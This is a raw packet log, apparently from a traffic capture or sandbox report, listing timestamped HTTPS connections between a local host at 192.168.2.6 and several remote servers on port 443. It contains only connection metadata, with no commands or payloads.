Nov 17, 2024 01:38:29.278547049 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.279865980 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.279865980 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.279880047 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.279947042 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.333007097 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.333018064 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.334836960 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.345190048 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.345221043 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.345789909 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.345798016 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.369388103 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.369668961 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.369702101 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.371294022 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.371365070 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.371687889 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.371783018 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.371805906 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.383239031 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.415365934 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.415429115 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.419032097 CET	443	49796	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.419224977 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.419236898 CET	443	49796	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.420743942 CET	443	49796	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.420804977 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.421111107 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.421195984 CET	443	49796	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.421220064 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.463336945 CET	443	49796	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.468192101 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.468213081 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.468225956 CET	443	49796	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.471978903 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.472134113 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.472501993 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.472599983 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.472616911 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.472630024 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.472636938 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.475799084 CET	443	49798	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.476077080 CET	49798	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.476089954 CET	443	49798	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.476644039 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.476682901 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.477051020 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.477051020 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.477096081 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.477638960 CET	443	49798	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.477737904 CET	49798	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.478238106 CET	49798	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.478327036 CET	443	49798	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.515113115 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.530680895 CET	49798	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.530695915 CET	443	49798	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.549649000 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.550118923 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.550147057 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.550570965 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.550580978 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.562386036 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.562444925 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.562494993 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.562556028 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.562567949 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.562634945 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.563987017 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.564173937 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.564265966 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.564369917 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.577914953 CET	49798	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.596854925 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.597131014 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.597320080 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.597337961 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.597632885 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.597702026 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.597943068 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.597960949 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.598115921 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.598133087 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.618380070 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.618833065 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.618872881 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.619338036 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.619350910 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.663104057 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.663239956 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.663302898 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.663393021 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.663491011 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.663544893 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.663564920 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.663645029 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.663821936 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.663836956 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.671566963 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.671699047 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.671714067 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.677676916 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.677707911 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.677752018 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.677772999 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.677789927 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.677833080 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.678199053 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.678214073 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.678225994 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.678231955 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.680787086 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.680874109 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.680958033 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.681449890 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.681487083 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.690087080 CET	443	49796	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.718203068 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.718230963 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.724129915 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.724212885 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.724265099 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.724519968 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.724555016 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.724581957 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.724597931 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.727309942 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.727483988 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.728030920 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.728030920 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.728030920 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.728127003 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.728164911 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.728339911 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.729511976 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.729532003 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.730669022 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.730693102 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.730799913 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.730875969 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.730882883 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.733963013 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.733974934 CET	443	49796	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.735780954 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.735831022 CET	443	49796	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.735898972 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.748581886 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.748605013 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.748667002 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.748696089 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.748749971 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.748878956 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.765073061 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.781203985 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.781351089 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.781382084 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.781409979 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.781424046 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.781461000 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.781881094 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.781898975 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.782376051 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.782677889 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.782691956 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.789982080 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.790328026 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.790344954 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.796159983 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.796221972 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.796240091 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.844507933 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.844526052 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.890100956 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.900095940 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.900275946 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.900446892 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.900468111 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.902179956 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.902245998 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.902262926 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.908575058 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.908660889 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.908675909 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.914314032 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.914376020 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.914391041 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.943355083 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.943397045 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.943475962 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.944283962 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.944308996 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.968997002 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.006290913 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.018646955 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.018740892 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.018822908 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.018850088 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.018908024 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.019659996 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.024091005 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.024158001 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.024174929 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.031605005 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.031622887 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.032999039 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.033046961 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.033102989 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.033119917 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.033992052 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.074014902 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.124504089 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.124538898 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.124619961 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.124686956 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.124751091 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.137227058 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.138331890 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.138411045 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.138426065 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.138453960 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.138720036 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.142682076 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.151479006 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.151550055 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.151573896 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.177463055 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.181185961 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.181205034 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.213962078 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.214776993 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.214802027 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.215256929 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.215262890 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.234618902 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.234680891 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.243310928 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.243385077 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.243407011 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.255986929 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.256088972 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.256105900 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.257148981 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.257209063 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.257224083 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.261349916 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.261481047 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.261496067 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.270473957 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.270531893 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.270546913 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.312767029 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.321348906 CET	49810	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:30.321383953 CET	443	49810	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:30.321454048 CET	49810	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:30.322055101 CET	49810	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:30.322073936 CET	443	49810	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:30.341927052 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.343103886 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.343158960 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.343220949 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.343233109 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.343276978 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.343281031 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.343342066 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.343435049 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.343436003 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.343458891 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.343468904 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.348361969 CET	49811	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.348432064 CET	443	49811	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.348650932 CET	49811	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.349517107 CET	49811	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.349554062 CET	443	49811	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.361849070 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.361924887 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.361948013 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.374620914 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.374682903 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.374708891 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.375567913 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.375655890 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.375670910 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.375689030 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.375747919 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.379970074 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.388788939 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.388897896 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.388911009 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.388947010 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.389764071 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.400557995 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.402167082 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.402198076 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.402717113 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.402724028 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.429939032 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.469810963 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.469924927 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.470272064 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.470294952 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.471101999 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.471107960 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.471182108 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.471206903 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.471560955 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.471568108 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.480432987 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.480506897 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.480545998 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.480572939 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.480705976 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.493285894 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.494174004 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.494266033 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.494281054 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.494333982 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.494453907 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.498537064 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.507672071 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.507827044 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.507848978 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.507915974 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.508287907 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.527604103 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.527645111 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.527738094 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.527793884 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.528294086 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.528314114 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.528326988 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.528332949 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.531333923 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.531384945 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.532094002 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.532094002 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.532135010 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.548563957 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.592621088 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.592683077 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.598825932 CET	443	49808	13.107.246.45	192.168.2.6
